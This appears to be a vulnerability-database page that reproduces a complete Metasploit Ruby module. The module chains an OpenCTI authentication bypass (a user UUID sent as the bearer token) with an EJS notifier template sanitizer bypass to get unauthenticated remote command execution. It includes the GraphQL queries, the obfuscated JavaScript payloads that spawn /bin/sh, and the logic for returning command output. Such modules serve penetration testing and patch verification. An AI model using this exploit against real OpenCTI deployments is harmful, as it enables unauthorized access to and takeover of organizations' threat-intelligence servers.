Lucene search
+L

OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution

🗓️ 04 May 2026 00:00:00Reported by Jean-Marie BourbonType 
metasploit
 metasploit
🔗 www.rapid7.com👁 3 Views

Unauthenticated remote code execution in OpenCTI via GraphQL API and EJS template bypass.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Input Validation in Microsoft
7 May 202601:44
–githubexploit
attackerkb
attackerkb
CVE-2026-39980
9 Apr 202616:54
–attackerkb
attackerkb
attackerkb
CVE-2026-27960
5 May 202618:35
–attackerkb
circl
Circl
CVE-2026-27960
5 May 202619:19
–circl
circl
Circl
CVE-2026-39980
9 Apr 202619:23
–circl
cnnvd
CNNVD
OpenCTI 安全漏洞
9 Apr 202600:00
–cnnvd
cnnvd
CNNVD
OpenCTI 授权问题漏洞
5 May 202600:00
–cnnvd
cve
CVE
CVE-2026-27960
5 May 202618:35
–cve
cve
CVE
CVE-2026-39980
9 Apr 202616:54
–cve
cvelist
Cvelist
CVE-2026-27960 OpenCTI privilege escalation and unauthenticated access via default admin account
5 May 202618:35
–cvelist
Rows per page
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  prepend Msf::Exploit::Remote::AutoCheck

  DEFAULT_ADMIN_UUID = '88ec0c6a-13ce-5e39-b486-354fe4a7084f'
  MIN_AUTH_BYPASS_VERSION = Rex::Version.new('6.6.0')
  FIXED_NOTIFIER_RCE_VERSION = Rex::Version.new('6.9.5')
  FIXED_AUTH_BYPASS_VERSION = Rex::Version.new('6.9.13')

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution',
        'Description' => %q{
          This module chains CVE-2026-27960 and CVE-2026-39980 to achieve
          unauthenticated remote command execution against vulnerable OpenCTI
          instances.

          CVE-2026-27960 allows an unauthenticated attacker to authenticate to
          the GraphQL API using the UUID of an existing user as a bearer token.
          By default, this module uses OpenCTI's deterministic default
          administrator UUID. A different user UUID can be supplied with USER_ID.

          After confirming the authentication bypass, the module locates the
          Platform mailer notification connector and exploits CVE-2026-39980,
          an EJS notifier template sanitizer bypass, to execute a Unix command in
          the OpenCTI Node.js process context.

          The full unauthenticated chain applies where the affected version
          ranges overlap: OpenCTI 6.6.0 through 6.9.4.
        },
        'Author' => [
          'Jean-Marie Bourbon'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-27960'],
          ['CVE', '2026-39980'],
          ['GHSA', '6vvv-vmfr-xhrx'],
          ['GHSA', 'jv9r-jw2f-rhrf']
        ],
        'DisclosureDate' => '2026-05-04',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 4000
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'OpenCTI base path', '/']),
        OptString.new('USER_ID', [false, 'OpenCTI user UUID to impersonate instead of the default administrator UUID']),
        OptString.new('CONNECTOR_ID', [false, 'Platform mailer connector UUID (auto-detected if unset)']),
        OptInt.new('COMMAND_TIMEOUT', [true, 'Synchronous generic command timeout in seconds', 120])
      ]
    )
  end

  def graphql_uri
    normalize_uri(target_uri.path, 'graphql')
  end

  def user_id
    configured = datastore['USER_ID']
    configured.nil? || configured.empty? ? DEFAULT_ADMIN_UUID : configured
  end

  def authorization_headers
    {
      'Accept' => 'application/json',
      'Authorization' => "Bearer #{user_id}"
    }
  end

  def graphql_request(operation_name, query, variables = {})
    send_request_cgi(
      'method' => 'POST',
      'uri' => graphql_uri,
      'ctype' => 'application/json',
      'headers' => authorization_headers,
      'data' => {
        operationName: operation_name,
        query: query,
        variables: variables
      }.to_json
    )
  end

  def random_identifier
    Rex::Text.rand_text_alpha_lower(10)
  end

  def random_marker
    "#{Rex::Text.rand_text_alphanumeric(18)}-"
  end

  def parse_graphql_response(res)
    return nil unless res&.code == 200

    res.get_json_document
  rescue JSON::ParserError
    nil
  end

  def collect_strings(value)
    case value
    when Hash
      value.values.flat_map { |entry| collect_strings(entry) }
    when Array
      value.flat_map { |entry| collect_strings(entry) }
    when String
      [value]
    else
      []
    end
  end

  def response_strings(res)
    json = parse_graphql_response(res)
    return [res.body.to_s] unless json

    strings = collect_strings(json)
    strings.empty? ? [res.body.to_s] : strings
  end

  def execution_marker_returned?(res, marker)
    response_strings(res).any? do |text|
      text.match?(/\n\n#{Regexp.escape(marker)}[^\n]*\z/)
    end
  end

  def authentication_probe
    operation_name = random_identifier
    query = <<~GRAPHQL
      query #{operation_name} {
        about {
          version
        }
        me {
          id
          name
          user_email
          capabilities {
            name
          }
        }
      }
    GRAPHQL

    res = graphql_request(operation_name, query)
    json = parse_graphql_response(res)
    return nil unless json.is_a?(Hash)

    me = json.dig('data', 'me')
    version = json.dig('data', 'about', 'version')
    return nil unless me.is_a?(Hash)

    {
      id: me['id'],
      name: me['name'],
      email: me['user_email'],
      capabilities: Array(me['capabilities']).filter_map { |capability| capability['name'] if capability.is_a?(Hash) },
      version: version
    }
  end

  def full_chain_version?(version)
    return nil if version.to_s.empty?

    parsed = Rex::Version.new(version)
    parsed >= MIN_AUTH_BYPASS_VERSION && parsed < FIXED_NOTIFIER_RCE_VERSION
  rescue ArgumentError
    nil
  end

  def notification_connector_id
    configured = datastore['CONNECTOR_ID'].to_s
    return configured unless configured.empty?

    operation_name = random_identifier
    query = <<~GRAPHQL
      query #{operation_name} {
        connectorsForNotification {
          id
          name
          connector_schema
          connector_schema_ui
        }
      }
    GRAPHQL

    res = graphql_request(operation_name, query)
    json = parse_graphql_response(res)
    return nil unless json.is_a?(Hash)

    connectors = json.dig('data', 'connectorsForNotification')
    return nil unless connectors.is_a?(Array)

    connector = connectors.find do |entry|
      next false unless entry.is_a?(Hash)
      next false unless entry['name'].to_s.casecmp('Platform mailer').zero?

      schema = entry['connector_schema']
      schema_text = schema.is_a?(String) ? schema : schema.to_json
      schema_text.include?('"template"')
    end

    connector&.fetch('id', nil)
  end

  def notifier_template(body)
    "<%=(Function`#{body}`)``%>"
  end

  def notifier_request(template, connector_id)
    configuration = {
      title: Rex::Text.rand_text_alphanumeric(16),
      template: template
    }.to_json

    variables = {
      input: {
        notifier_test_id: 'default_notification',
        notifier_connector_id: connector_id,
        notifier_configuration: configuration
      }
    }

    operation_name = random_identifier
    query = <<~GRAPHQL
      query #{operation_name}($input: NotifierTestInput!) {
        notifierTest(input: $input)
      }
    GRAPHQL

    graphql_request(operation_name, query, variables)
  end

  def sanitizer_probe(connector_id)
    marker = random_marker
    body = %(throw Error["call"](null,"#{marker}"+pro\\u0063ess.version))
    res = notifier_request(notifier_template(body), connector_id)

    [res, marker]
  end

  def check
    auth = authentication_probe
    return CheckCode::Unknown('OpenCTI did not return a usable GraphQL response') unless auth

    unless auth[:id] == user_id
      return CheckCode::Safe("UUID bearer authentication bypass was not confirmed (returned user: #{auth[:id] || 'none'})")
    end

    version = auth[:version]
    if version.to_s.empty?
      return CheckCode::Detected("UUID bearer authentication bypass confirmed as #{auth[:name] || auth[:id]}, but the OpenCTI version could not be identified")
    end

    vulnerable = full_chain_version?(version)
    if vulnerable == false
      parsed = Rex::Version.new(version)

      if parsed < MIN_AUTH_BYPASS_VERSION
        return CheckCode::Safe("OpenCTI #{version} predates the affected CVE-2026-27960 range")
      end

      if parsed >= FIXED_AUTH_BYPASS_VERSION
        return CheckCode::Safe("OpenCTI #{version} is patched for CVE-2026-27960")
      end

      return CheckCode::Safe("OpenCTI #{version} is outside the full-chain range because CVE-2026-39980 is fixed in 6.9.5")
    end

    return CheckCode::Detected("UUID bearer authentication bypass confirmed on OpenCTI #{version}, but the version could not be classified") if vulnerable.nil?

    connector_id = notification_connector_id
    return CheckCode::Detected("UUID bearer authentication bypass confirmed on OpenCTI #{version}, but the Platform mailer connector was not found") if connector_id.nil?

    res, marker = sanitizer_probe(connector_id)
    return CheckCode::Unknown('No response was received while probing the notifier sanitizer') unless res

    if execution_marker_returned?(res, marker)
      @opencti_connector_id = connector_id
      @opencti_version = version
      return CheckCode::Vulnerable("OpenCTI #{version} accepted the UUID bearer token and executed JavaScript through the notifier EJS template")
    end

    if res.body.to_s.include?('Forbidden call in notifier template')
      return CheckCode::Safe("OpenCTI #{version} rejected the notifier sanitizer bypass")
    end

    CheckCode::Detected("OpenCTI #{version} is in the full-chain version range, but active notifier execution was not confirmed")
  rescue ::Rex::ConnectionError => e
    CheckCode::Unknown("Connection failed: #{e.message}")
  rescue StandardError => e
    CheckCode::Unknown("Check failed: #{e.class}: #{e.message}")
  end

  def prepare_exploit
    auth = authentication_probe
    fail_with(Failure::UnexpectedReply, 'OpenCTI did not return a usable GraphQL response') unless auth
    fail_with(Failure::NoAccess, 'UUID bearer authentication bypass was not confirmed') unless auth[:id] == user_id

    unless full_chain_version?(auth[:version])
      version = auth[:version].to_s.empty? ? 'unknown' : auth[:version]
      if datastore['ForceExploit']
        print_warning("OpenCTI #{version} is outside the confirmed full-chain version range; ForceExploit is enabled, continuing")
      else
        fail_with(Failure::NotVulnerable, "OpenCTI #{version} is outside the confirmed full-chain version range")
      end
    end

    @opencti_version = auth[:version]
    @opencti_connector_id = notification_connector_id
    fail_with(Failure::NotFound, 'Platform mailer connector was not found') if @opencti_connector_id.nil?

    print_good("Authenticated as #{auth[:name] || auth[:id]} using UUID bearer bypass")
    print_status("OpenCTI version: #{@opencti_version}")
    print_status("Using Platform mailer connector: #{@opencti_connector_id}")
  end

  def generic_command_payload?
    datastore['PAYLOAD'].to_s == 'cmd/unix/generic'
  end

  def extract_marker_value(res, marker)
    response_strings(res).each do |text|
      match = text.match(%r{\n\n#{Regexp.escape(marker)}([A-Za-z0-9+/=]*)\z})
      return match[1] if match
    end

    nil
  end

  def execute_generic_command(cmd)
    command_hex = cmd.unpack1('H*')
    marker = random_marker
    process_var = random_identifier
    child_var = random_identifier
    command_var = random_identifier
    result_var = random_identifier
    output_var = random_identifier
    encoded_var = random_identifier

    body = [
      %(const #{process_var}=pro\\u0063ess),
      %(const #{child_var}=#{process_var}["getBuiltinMo\\u0064ule"]("child_pro\\u0063ess")),
      %(const #{command_var}=Buffer["from"]("#{command_hex}","hex")+""),
      %(const #{result_var}=#{child_var}["spawnSync"]("/bin/sh",["-c",#{command_var}],{encoding:"utf8",timeout:#{datastore['COMMAND_TIMEOUT'] * 1000},maxBuffer:1048576})),
      %(const #{output_var}={stdout:#{result_var}.stdout||"",stderr:#{result_var}.stderr||"",status:#{result_var}.status,signal:#{result_var}.signal,error:#{result_var}.error?{code:#{result_var}.error.code||"",message:#{result_var}.error.message||""}:null}),
      %(const #{encoded_var}=Buffer["from"](JSON["stringify"](#{output_var}))["toString"]("base64")),
      %(throw Error["call"](null,"#{marker}"+#{encoded_var}))
    ].join(';')

    res = notifier_request(notifier_template(body), @opencti_connector_id)

    fail_with(Failure::Unreachable, 'No response was received after sending the command payload') unless res

    if res.body.to_s.include?('Forbidden call in notifier template')
      fail_with(Failure::UnexpectedReply, 'The command payload was rejected by the OpenCTI notifier sanitizer')
    end

    encoded = extract_marker_value(res, marker)
    fail_with(Failure::UnexpectedReply, 'Command output marker was not returned by OpenCTI') if encoded.nil?

    begin
      result = JSON.parse(Base64.strict_decode64(encoded))
    rescue ArgumentError, JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'OpenCTI returned invalid command execution results')
    end

    stdout = result['stdout'].to_s
    stderr = result['stderr'].to_s
    output = stdout + stderr

    error = result['error']
    if error.is_a?(Hash)
      print_line(output) unless output.empty?
      error_code = error['code'].to_s
      error_message = error['message'].to_s
      fail_with(Failure::TimeoutExpired, "Command exceeded the #{datastore['COMMAND_TIMEOUT']} second timeout") if error_code == 'ETIMEDOUT'

      detail = error_code.empty? ? error_message : "#{error_code}: #{error_message}"
      fail_with(Failure::PayloadFailed, "Command execution failed#{": #{detail}" unless detail.empty?}")
    end

    signal = result['signal']
    unless signal.to_s.empty?
      print_line(output) unless output.empty?
      fail_with(Failure::PayloadFailed, "Command was terminated by signal #{signal}")
    end

    status = result['status']
    fail_with(Failure::UnexpectedReply, 'OpenCTI did not return a command exit status') unless status.is_a?(Integer)

    unless status.zero?
      print_line(output) unless output.empty?
      fail_with(Failure::PayloadFailed, "Command exited with status #{status}")
    end

    print_good('Command executed successfully')
    print_line(output) unless output.empty?
  end

  def execute_detached_command(cmd)
    command_hex = cmd.unpack1('H*')
    marker = random_marker
    process_var = random_identifier
    child_var = random_identifier
    command_var = random_identifier
    result_var = random_identifier

    body = [
      %(const #{process_var}=pro\\u0063ess),
      %(const #{child_var}=#{process_var}["getBuiltinMo\\u0064ule"]("child_pro\\u0063ess")),
      %(const #{command_var}=Buffer["from"]("#{command_hex}","hex")+""),
      %(const #{result_var}=#{child_var}["spawn"]("/bin/sh",["-c",#{command_var}],{detached:true,stdio:"ignore"});#{result_var}["unref"]()),
      %(throw Error["call"](null,"#{marker}"))
    ].join(';')

    res = notifier_request(notifier_template(body), @opencti_connector_id)

    unless res
      vprint_status('No HTTP response was returned after command dispatch')
      return
    end

    if res.body.to_s.include?('Forbidden call in notifier template')
      fail_with(Failure::UnexpectedReply, 'The command payload was rejected by the OpenCTI notifier sanitizer')
    end

    if execution_marker_returned?(res, marker)
      print_good('Command payload dispatched successfully')
    else
      vprint_status('Command payload dispatched without an execution marker')
    end
  end

  def execute_command(cmd, _opts = {})
    if generic_command_payload?
      execute_generic_command(cmd)
    else
      execute_detached_command(cmd)
    end
  end

  def exploit
    prepare_exploit unless @opencti_connector_id

    print_status("Executing #{datastore['PAYLOAD']} payload")
    execute_command(payload.encoded)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation